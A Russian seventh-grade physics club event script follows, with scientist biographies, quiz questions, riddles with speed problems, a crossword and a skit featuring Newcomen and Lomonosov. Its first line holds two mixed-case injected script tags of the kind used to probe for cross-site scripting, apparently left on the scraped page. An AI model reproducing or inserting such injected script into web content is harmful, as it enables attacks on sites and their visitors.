<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

07.03.2018

Ижевская

средняя школа

  Внеклассное мероприятие

  «Клуб юных физиков»

(с применением индивидуально-дифференцированного подхода)

7 класс

 

 

 

                                             Подготовила: Учитель физики

                                                                                     Мухамедгалиева Г.У.

                     

 

"И преграды нас не остановят!

  Новые

миры к себе манят,

 Нам оставить след в науке стоит

 И внести

в открытия свой вклад! "

                                              Из песни школьников

 

Цели и задачи мероприятия:

1.Показать

использование знаний и умений учащихся, приобретенных на уроках физики,  через   индивидуально-дифференцированный подход.

2.

Заинтересовать учащихся изучением предмета физики.

3.

Сформировать   потребность к углублению и

расширению знаний.

4.

Приобщать учащихся к экспериментальным заданиям.

Оборудование:

модель паровой машины, презентация.

 

Ведущий:

"Мы уже прожили 13 лет

и еще почти ничего не успели. А нам предстоит запускать космические

корабли к звез­дам, исследовать проблемы наследственности, раскрыть тайну рака.

Мы не умеем получать и собирать знания. Мы не всегда даже знаем,

что хотим знать, а к учебе относимся подчас, как к пе­чальной необходимости.

Стойте! Одумайтесь!

Тратить впустую годы - самые юные, самые плодотворные - преступление! Во имя

наших будущих профессий и свершений - в бой за знания!"

 

Учитель:

сейчас мы совершим экскурсию и познакомимся с выдающимися учеными физиками.

Имена некоторых из них вам уже знакомы.

Класс

заранее разбит на две команды, в каждую из которых входят учащиеся с различной

учебной мотивацией.   Одни учащиеся готовят

мини-сообщения об ученых физиках,  другие

учащиеся  - презентации (портреты ученых,

используя интернетресурсы).

 

Слайд - 4  (Портрет Галилео Галилея)

Великий

итальянский ученый Г.Галилей  после

окончания университета занялся исследованиями в области механики и астрономии.

Им открыт принцип относительности движения и закон инерции. Главное достижение

ученого в области оптики – создание оптической трубы (одного из первых

телескопов). Ученый обессмертил свое имя рядом астрономических открытий,

сделанных с помощью телескопа: обнаружил горы на Луне, открыл 4 спутника у

Юпитера.

Слайд – 5   (Портрет Исаака  Ньютона)

Однажды

вечером в 1665 году молодой человек двадцати трех лет сидел в  фруктовом саду родительского замка и

раздумывал. Среди тишины вечера яблоко, говорят, упало перед ним. Этот факт,

такой простой, который мог бы пройти незамеченным для всех других, поражает и

возбуждает его внимание. Луна видна на небе. Молодой человек принимается

размышлять о природе той единственной силы, которая толкает тела к Земле; он

наивно спрашивает себя: почему Луна не падает? Думая об этом, он приходит к

одному из наиболее прекрасных открытий, которыми может гордиться человеческий

ум».

Исаак

Ньютон – великий физик, открывший закон всемирного тяготения.

Слайд – 6   (Портрет Юрия Алексеевича Гагарина)

Юрий

Алексеевич Гагарин – уникальный путешественник. Претендентов на это путешествие

было около 3 тысяч, однако выбор пал на него. Это кругосветное путешествие он

совершил в одиночку. Сын крестьянина, ученик ремесленного училища, рабочий,

студент, курсант аэроклуба. Свой исторический полет в космос он совершил 12

апреля 1961 года на советском корабле – спутнике «Восток». Ю.А.Гагарин облетел

нашу планету и вернулся на Землю; полет продолжался 1 час 48 минут.

Совершенное

им прославило человеческий разум, его и его Родину. Ему принадлежит

историческая фраза, сказанная перед началом дороги: «ПОЕХАЛИ».

Слайд – 7  (Портрет Архимеда)

Этот

ученый жил в Сиракузах, на острове Сицилия. Великий инженер и конструктор

своего времени. Круг его научных интересов: математика, механика, оптика, астрономия.

Он помог своему царю Гиерону избежать обмана. С одним из его открытий мы

сталкиваемся почти каждую неделю.

По

легенде, ему принадлежит возглас «ЭВРИКА!», прозвучавший вслед за сделанным им

открытием.

Слайд – 8  (Портрет Вильгельма Конрада Рентгена)

Фамилия

этого ученого знакома всем: и школьникам, и артистам, и научным работникам.

Инженер по образованию, он в 23 года защитил диссертацию на звание  доктора философии.  Его научные исследования посвящены

электромагнетизму, физике кристаллов, оптике. Но главное его достижение

относилось к совершенно неизвестной до тех пор области науки. Она то и

прославила его имя. В.К.РЕНТГЕН – лауреат первой Нобелевской премии по физике

(1901г.) Ему первому удалось увидеть строение части скелета живого человека.

Слайд – 9  (Портрет Михаила Васильевича Ломоносова)

Сын

крестьянина-помора северной окраины России. Он рано научился грамоте, прочел

все книги, какие мог достать, в 14 лет самоучкой изучил арифметику и

грамматику. В 1730 году пешком ушел в Москву учиться. В 1731году ему удалось

поступить в Словяно-греко-латинскую академию. По окончании, как один из

способнейших учеников, был направлен в Петербургский университет. Тут

заинтересовался серьезно химией и физикой.

В

1741 году Михаил Васильевич был назначен профессором химии Петербургской  академии Наук. Благодаря его усилиям в

Петербурге была создана прекрасно оборудованная лаборатория. По его инициативе

и проекту был открыт Московский университет.

Ломоносов

придерживался  мнения, что химия должна

быть неразрывно связана  с физикой и

математикой. Это соединение позволило Ломоносову заложить фундамент науки об

атоме и молекулах, то есть создать новую отрасль знаний-физическую химию.

Взгляды

и теории Ломоносова, далеко уходящие в будущее, оценили только ученые, живущие

чуть ли не на два века позже.

 

Игра – конкурс.

Учитель:  приглашается

жюри.

Участники  игры: две команды. Команды  рассаживаются вокруг  столов  (на

столе – название команды, девиз, эмблема).

 

I.   КОНКУРС  ЭРУДИТОВ.

В этом конкурсе принимают участие все участники

команд. Ответить на легкие вопросы предоставляется возможность слабым учащимся,

а на более сложные вопросы отвечают учащиеся с  высокой учебной  мотивацией.

Вопросы для I-ой команды:  (слайд – 13, 14)

1.Как

называется самое распространенное вещество в природе? (вода)

2.Что тяжелее тонна соломы или

тонна железа? (они одинаковы)

3. В какой комнате запах

распространяется быстрее в теплой или холодной? (теплой)

4. Как звали Ломоносова? (Михаил

Васильевич)

5.Назовите наибольшую единицу

времени.

а)

век; б) год; в) минута; г) час.

6. Какое из приведенных слов не

является явлением?

а)

инерция; б) диффузия; в) дождь; г) капля воды.

7. При резкой остановке автобуса

человек, стоящий в нем отклонится:

а)

влево; б) вперед; в) назад; г) вправо.

8. В каких единицах измеряется

масса?

а)

метр; б) секунда; в) килограмм; г) час.

 

Вопросы для II-ой команды:  (слайд – 16, 17)

1.

Как называется маленькое количество жидкости? (капля)

2.

Одно яйцо варят при нормальных условиях до состояния «крутое» 4 минуты. Сколько

минут нужно варить 5 яиц? (4 минуты)

3.

Чем отличаются молекулы воды, пара, льда? (ничем, это молекулы одного вещества)

4.

Кто говорит на всех языках? (эхо)

5.

Какой прибор служит для измерения скорости?

а)

термометр; б) спидометр; в) ареометр; г) вольтметр.

6.

Какое из приведенных слов означает вещество?

а)

книга; б) линейка; в) свинец; г) мензурка.

7.

Что из приведенного является физической величиной?

а)

инерция; б) взаимодействие; в) молния; г) масса.

8.

Какая из единиц массы самая большая?

а)

тонна; б) грамм; в) центнер; г) кг. 

 

 

II. КОНКУРС «ЗАГАДКИ»

Данный конкурс проводится

для учащихся с разной учебной мотивацией.

1. «ЗАГАДКИ С ПОДСКАЗКАМИ» - для более эрудированных учащихся:

 

                                              Загадка первая       (слайд – 19,20)  

Сейчас

вам предстоит перебрать в памяти некоторые изобретения, но ос­тановиться на

одном из них.  Подсказки:

1. 

Как орудие войны это

изобретение упоминается в источниках XIII в., XV в., в конце XVIII и середине XX в.

2. Данное изобретение используется и в мирных целях.

3. Предполагается, что

родина этого изобретения Китай.

4. 

В Европе (XIII в.) его разновидность

получила название  «летающий огонь», или

«огненный волан», а в середине XX в. — имя милой девушки.

5. 

Это изобретение —

основной дви­гатель космических кораблей.

(Ответ: ракета.)

                                         Загадка вторая     (слайд – 21, 22)

В

природе очень много веществ. Об одном из них пойдет сейчас речь. Что это за

вещество? Подсказки:

1. 

Из этого вещества на 65%

состоит организм взрослого человека.

2. 

Со всеми тремя его

агрегатными состояниями мы довольно часто встре­чаемся.

3. Его можно использовать для умень­шения трения.

4. 

Его используют в

системах нагрева и охлаждения.

5. 

Это вещество называют

«соком жизни» на Земле.

(Ответ: вода.)

                                         Загадка третья     (слайд – 23, 24)

Что

это? Подсказки:

1. 

Сначала он плавал, потом

стал и летать.

2. 

Он многим, будучи их

проводни­ком, спас жизнь.

3. Он не любит большую жару и силь­ную тряску.

4. 

Он всегда целенаправлен.

5. Он безразличен к драгоценным ме­таллам и

алмазам, но волнуется при вза­имодействии с железом.

(Ответ:

компас)

 

                                       Загадка

четвертая   (слайд – 25, 26)

1. Агрегат моментальной съёмки.

2. Есть у каждого в доме, «и языка нет и правду

скажет».

3. Стекло- с одной стороны имеющее серебристую

поверхность.

4. Девчонки часто смотрятся в него.

5. Легко увидеть своё  отражение.

(Ответ: зеркало)

 

2. «ЗАГАДКИ»- для

учащихся, слабомотивированных на учебную деятельность (данные загадки учащиеся

подбирают самостоятельно  для команды

соперников (задание с опережением)). Одновременно с загадками участникам команд

предлагается решить задачи различной степени сложности.

 

Загадка первая       

На рояль он не похожий,

Но педаль имеет тоже,

Кто не трус и не

трусиха,

Покатается он лихо,

У него мотора нет,

Его зовут …. (велосипед)

Задача. Мальчик на велосипеде, двигаясь прямолинейно, проехал 500 м за 4 мин. Определить

путь велосипедиста.

 

Загадка вторая    

Кто далеко живет,

Тот пешком не пойдет.

Наш приятель тут как

тут,

Всех домчит он в пять

минут.

Эй, садись не зевай,

Отправляется ….(трамвай)

Задача. Трамвай прошел первые 200 м со скоростью 5м/с, а

следующие 600м со скоростью 10 м/с. Определите его среднюю скорость на всем

пути.

Загадка третья   

Крыльев нет, но эта

птица,

Пролетит и прилунится

Чудо-птица, алый

хвост,

Пролетела в стаю

звезд,

Хороша,   как

чудо света

Что ж летит, ответь? (ракета)

Задача. Ракета движется со скоростью 7 км/с.  За   какое время она пролетит путь в 280000 м?

 

Загадка

четвертая  

Чтобы он тебя

повез,

Ему не нужен

овес,

Накорми его

бензином

На копыта дай

резину,

И тогда поднявши

пыль,

Побежит…(автомобиль)

Задача. Автомобиль

проехал первую половину пути со скоростью 10 м/с, а вторую половину со

скоростью 15 м/с. Определить среднюю скорость на всем пути.

 

 

III. КОНКУРС – РАЗМИНКА

Данный

конкурс рассчитан на сообразительных учащихся.

 

В жизни многих животных трение играет

положительную роль. Нет ли «лишнего» в этом перечне

слов?  (слайд – 28)

1. хобот слона

2.

хвост обезьяны

3.

тело змеи

4.

лапки птиц

5.

панцирь черепахи

                                                          

 Ответ:5

 

Bce  ли  эти пословицы роднит одно физическое

явление?   (слайд – 29)

1. Ученье и труд все перетрут

2.

Сухая ложка - рот дерет.

3. Идет как по маслу.

4. Скрипит как несмазанная телега.

5. Скользкий как налим.

                                                         

Ответ: 1

 

 

IV. КРОССВОРД

Конкурс на быстроту 

выполнения, кроссворд отгадывают все  

участники команд.

         

По горизонтали:

4. Назовите  первого

космонавта облетевшего земной шар.

6. Назовите вид движения падающей снежинки.

7.Что представляет собой вода в твёрдом состоянии?

9.

Прибор для измерения длины.

10. 0 веществе известно, что оно не сохраняет свой

объём. В каком состоянии находится тело?

 

По вертикале:

1.Что

хранится в г.Севре (близ Парижа)?

2.Как называется мельчайшая частица вещества?

З.Как

называется явление, при котором молекулы одного вещества проникают между

молекулами другого вещества?

5.Тело хорошо сохраняет свою форму. В каком

состоянии оно находится?

8. Какое слово было введено в русский язык Михаилом

Васильевичем

Ломоносовым?

 

Учитель: пока жюри подводит

итоги, мы с помощью машины времени вернемся в 18 век и послушаем, что нам

расскажут ученые мужи.

 

 

 

Историческая справка о первых тепловых машинах

( мини- сообщения - домашнее задание учащихся)

 

Ведущий. Задача  науки физики — не только объяснение явлений,

но и применение знаний для практичес­ких целей.

Ведущая. Как известно из исто­рических

источников, приблизительно в I—II вв. н.э. в Александрии

была со­здана паровая машина. Ее создателем был хорошо известный

древнегреческий ученый и инженер, преподаватель школы Герон Алексан­дрийский.

Он знал о «движущей силе» нагретого воздуха и водяного пара.

Ведущий.  Эта интересная игруш­ка приводила в восторг

публику. Мысль о том, чтобы «приспособить пар к делу», использовать как

двигатель для машин, пока не возникала. Это и по­нятно: техника еще не была развита;

к тому же имелась дешевая рабочая сила многочисленных рабов, домашних жи­вотных,

воды и ветра; пока ее хватало.

Ведущая. Появление теплового

двигателя связано с возникновением и развитием промышленного производства в

начале XVIII в.

Ведущий.  Немецкий естествоис­пытатель и врач Юлиус

Роберт Майер, живший в XIX в., писал: «Тепло есть

сила, оно может быть превраще­но в движение». Это очень важная

мысль.

 

Сценка

«Демонстрация опыта Томасом Ньюкоменом»

Ведущий. Одной из первых дей­ствующих

тепловых машин стала маши­на, созданная англичанином-изобрета­телем Томасом

Ньюкоменом в 1705 г. Эта, по нынешним представлениям, весьма несовершенная

машина приме­нялась для откачки воды из шахт; она использовалась десятилетиями,

потреб­ляя огромное количество теплоты глав­ным образом из-за необходимости пе­риодически

нагревать цилиндр после охлаждения его водой.

Модель

этого устройства продемонст­рирует нам сам автор — сэр Ньюкомен, которого нам

чудом, благодаря машине времени, удалось пригласить сюда. Про­шу Вас, сэр.

(Входит ученик, играющий роль Ньюкомена.)

Ньюкомен.  (демонстрирует опыт с помощью оборудования)

Перед

вами, госпо­да, модель моей паровой машины. Ее основная часть — цилиндр —

стеклян­ная пробирка, в которую налита вода комнатной температуры. Внутри про­бирки

перемещается поршень, который поднимает или опускает груз. Топливом служит

сухое горючее. Пар, двигая поршень, совер­шает механическую работу. Схема та­кого

опыта — перед вами.

 

Появляются ученые:  Ломоносов и Ньюкомен.

Ломоносов. Да! Все, что мы се­годня

здесь увидели и услышали, весьма интересно. И оно свидетельствует об

удивительной пытливости ума че­ловеческого, которая привела к  прогрессу в науке и технике.

Ньюкомен. Согласен. Но я хотел

бы, чтобы люди XXI в., живущие в эпо­ху сильно развитой техники,

не забы­ли, что основу молекулярно-кинетической теории тепловых явлений заложи­ли

в числе других Вы, Михаил Василь­евич, опытами, изложенными в тракта­те

«Размышления о причине теплоты и холода», написанном 2,5 века назад: в

1747-1748 гг.

Ведущая. Наш урок окончен. Мы

благодарим всех за участие в нем. На наш взгляд, он прошел увлекательно и

интересно.

Уважаемый

Михаил Васильевич, может быть, Вы хотите сказать не­сколько слов ребятам?

Ломоносов. Хочу. Мои юные со­граждане!

Я вижу ваш интерес к науке и рад этому. Скажу вам как исследова­тель: один опыт

я ставлю выше, чем тысячи мнений, рожденных только во­ображением. Не забывайте

о наиваж­нейшей роли эксперимента в естествен­ных науках! Хочу вам пожелать:

везде исследовать «всечасно, что есть велико и прекрасно, чего еще не видел

свет».

 

Подведение итогов урока.

 

 

Учитель:

Вот, закончился урок,

Знания пошли вам впрок.

Я хочу совет вам дать:

Надо физику читать,

Чтоб задачи все решались

И ответы получались,

И тогда оценки «пять»

Будешь на уроках

получать.